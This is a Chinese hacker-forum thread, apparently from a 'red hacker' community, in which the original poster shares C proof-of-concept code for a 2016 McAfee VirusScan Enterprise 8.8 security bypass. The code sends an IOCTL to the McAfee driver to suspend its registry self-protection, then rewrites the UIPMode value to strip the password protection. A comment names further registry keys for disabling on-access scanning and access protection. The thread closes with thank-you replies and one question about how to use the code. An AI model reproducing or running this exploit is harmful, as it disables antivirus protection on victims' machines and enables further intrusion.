McAfee VirusScan企业版8.8安全限制绕过漏洞

90_

2016年3月8号出的洞，还是比较新的

[C] 纯文本查看 复制代码

  
#include <stdio.h>
#include <windows.h>
  
HANDLE opendevice()
{
  HANDLE result;
  
  if((result = CreateFile("\\\\.\\WGUARDNT", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL) ) == NULL)
    if((result = CreateFile("\\\\.\\Global\\WGUARDNT", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL) ) == NULL)
      if((result = CreateFile("\\\\.\\WGUARDNT", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL) ) == NULL)
        if((result = CreateFile("\\\\.\\Global\\WGUARDNT", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL) ) == NULL)
          result = 0;
    
  return result;
}
  
  
void main(int argc, char ** argv)
{
    HKEY reg_key = NULL;
    HANDLE p;
    DWORD BytesReturned;
    DWORD data = 0;
    unsigned long size = 4;
    DWORD type = REG_DWORD;
    DWORD data1 = 0;
  
    char status[4][70]= {
        "No password",
        "Password protection for all items listed",
        "Password protection for the selected items",
        "Password protection for conformance to Common Criteria"
    };
  
    printf("\n *******************************************\n");
    printf(" * McAfee Desktop Protection \"Unprotector\" *\n");
    printf(" *******************************************\n\n");
  
    /*
     * The PoC use HKLM\SOFTWARE\McAfee\DesktopProtection\UIPMode registry key to
     * disable the password protection, but you can also access to others useful
     * keys.
     *
     * User Password
     * HKLM\SOFTWARE\McAfee\DesktopProtection\UIP
     * HKLM\SOFTWARE\McAfee\DesktopProtection\UIPEx
     *
     * Buffer protection
     * HKLM\SOFTWARE\McAfee\SystemCore\VSCore\On Access Scanner\BehaviourBlocking\BOPEnabled
     *
     * Access protection
     * HKLM\SOFTWARE\McAfee\SystemCore\VSCore\On Access Scanner\BehaviourBlocking\APEnabled
     *
     * On Access Scanner
     * HKLM\SOFTWARE\McAfee\DesktopProtection\OASState
     * HKLM\SOFTWARE\McAfee\SystemCore\VSCore\On Access Scanner\McShield\Configuration\OASEnabled
     *
     * Others
     * HKLM\SOFTWARE\McAfee\SystemCore\VSCore\LockDownEnabled
     *
     */
  
    if (RegOpenKeyEx (HKEY_LOCAL_MACHINE, "SOFTWARE\\McAfee\\DesktopProtection", 0,  KEY_QUERY_VALUE | KEY_READ | 0x0200, &reg_key) != ERROR_SUCCESS)
    {
        if (RegOpenKeyEx (HKEY_LOCAL_MACHINE, "SOFTWARE\\\Wow6432Node\McAfee\\DesktopProtection", 0,  KEY_QUERY_VALUE | KEY_READ | 0x0200, &reg_key) != ERROR_SUCCESS)
        {   
            printf("Error opening registry key...\n");
            return;
        }   
    }
      
    // Check current status of McAfee protection    
    RegQueryValueEx(reg_key,"UIPMode",NULL, &type,(BYTE *)&data,&size);
  
    printf(" [+] Current UIPMode = %d (%s)\n\n", data, status[data]);
  
    RegCloseKey (reg_key);
  
    // Open McAfee magic device
    p = opendevice();
  
    printf(" [-] Please John, let me write to your registry keys...");
      
    // Request to the scan engine to stop protect registry keys
    DeviceIoControl(p, 0x9EDB6510u, 0, 0, 0, 0, &BytesReturned, 0);
  
    if (RegOpenKeyEx (HKEY_LOCAL_MACHINE, "SOFTWARE\\McAfee\\DesktopProtection", 0,  KEY_QUERY_VALUE | KEY_READ | KEY_SET_VALUE, &reg_key) != ERROR_SUCCESS)
        if (RegOpenKeyEx (HKEY_LOCAL_MACHINE, "SOFTWARE\\McAfee\\DesktopProtection", 0,  KEY_QUERY_VALUE | KEY_READ | KEY_SET_VALUE, &reg_key) != ERROR_SUCCESS)
        {
            printf(" hmmm hmmm something went wrong!\n\n");
            printf(" [-] Ok John, take the control again!\n");      
            DeviceIoControl(p, 0x9EDB6514u, 0, 0, 0, 0, &BytesReturned, 0);
            CloseHandle(p);
            return;
        }   
              
    printf(" OK\n");
    data1 = 0;
          
    if( argc > 1 )
        data1 = atoi(argv[1]);
      
    // Disable McAfee protection    
    if( RegSetValueEx(reg_key, "UIPMode", 0, REG_DWORD, (CONST BYTE *)&data1, sizeof(DWORD)) != ERROR_SUCCESS)
        printf("\n hmmm hmmm something went wrong!\n");
    else
        printf("\n [+] Thank you! now we got the control! UIPMode = %d\n",data1);
              
    RegCloseKey (reg_key);
              
    printf("\n [+] Run \"%s %d\" to get original settings\n\n",argv[0],data);
  
    // Tell to engine to take control again
    printf(" [-] Ok John, take the control again!\n");      
    DeviceIoControl(p, 0x9EDB6514u, 0, 0, 0, 0, &BytesReturned, 0);
    CloseHandle(p);
      
}

ayang

谢谢楼主的分享

小圈圈

好新啊

w2015

怎么用是关键？？？

borall

HUC-参谋长

非常感谢

54hacker

a136

谢谢楼主的分享

菜鸟小羽

非常感谢

ljy07

支持中国红客联盟(ihonker.org)